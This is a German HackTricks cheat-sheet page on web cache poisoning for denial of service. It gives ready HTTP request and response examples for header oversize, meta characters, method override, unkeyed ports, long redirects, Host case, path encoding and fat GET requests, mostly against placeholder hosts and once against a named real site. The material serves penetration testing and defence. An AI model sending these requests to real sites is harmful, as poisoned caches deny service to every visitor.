Cache Poisoning to DoS

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Auf dieser Seite finden Sie verschiedene Variationen, um zu versuchen, den Webserver dazu zu bringen, auf Anfragen mit Fehlern zu antworten, die für die Cache-Server gültig sind.

  • HTTP-Headerübergroße (HHO)

Senden Sie eine Anfrage mit einer Headergröße, die größer ist als die vom Webserver unterstützte, aber kleiner als die vom Cache-Server unterstützte. Der Webserver antwortet mit einer 400-Antwort, die möglicherweise gecacht wird:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Unerwartete Werte

Senden Sie einen Header, der einige schädliche Metazeichen wie und enthält. Um den Angriff auszuführen, müssen Sie zuerst den Cache umgehen.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Ein schlecht konfigurierter Header könnte einfach \: als Header sein.

Dies könnte auch funktionieren, wenn unerwartete Werte gesendet werden, wie z.B. ein unerwarteter Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Ungekoppelte Überschrift

Einige Websites geben einen Fehlerstatuscode zurück, wenn sie bestimmte Header im Anfrage sehen, wie z.B. den X-Amz-Website-Location-Redirect: someThing Header:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP-Method-Override-Angriff (HMO)

Wenn der Server das Ändern der HTTP-Methode mit Headern wie X-HTTP-Method-Override, X-HTTP-Method oder X-Method-Override unterstützt. Ist es möglich, eine gültige Seite anzufordern, indem die Methode geändert wird, sodass der Server sie nicht unterstützt und eine schlechte Antwort zwischengespeichert wird:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Unkeyed Port

Wenn der Port im Host-Header in der Antwort reflektiert wird und nicht im Cache-Schlüssel enthalten ist, ist es möglich, ihn auf einen ungenutzten Port umzuleiten:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Langer Redirect-DoS

Wie im folgenden Beispiel wird x nicht zwischengespeichert, sodass ein Angreifer das Redirect-Verhalten missbrauchen könnte, um das Redirect so groß zu machen, dass ein Fehler zurückgegeben wird. Personen, die versuchen, auf die URL zuzugreifen, ohne den nicht zwischengespeicherten x-Schlüssel zu haben, erhalten die Fehlerantwort:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Host-Header-Groß-/Kleinschreibungsnormierung

Der Host-Header sollte nicht auf die Groß- und Kleinschreibung achten, aber einige Websites erwarten, dass er kleingeschrieben ist und geben einen Fehler zurück, wenn dies nicht der Fall ist:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Pfadnormalisierung

Einige Seiten geben Fehlercodes zurück, indem sie Daten URL-codiert im Pfad senden. Der Cache-Server wird jedoch den Pfad URL-decodieren und die Antwort für den URL-decodierten Pfad speichern:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Einige Cache-Server, wie Cloudflare, oder Webserver, blockieren GET-Anfragen mit einem Body, daher kann dies missbraucht werden, um eine ungültige Antwort zu zwischenspeichern:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated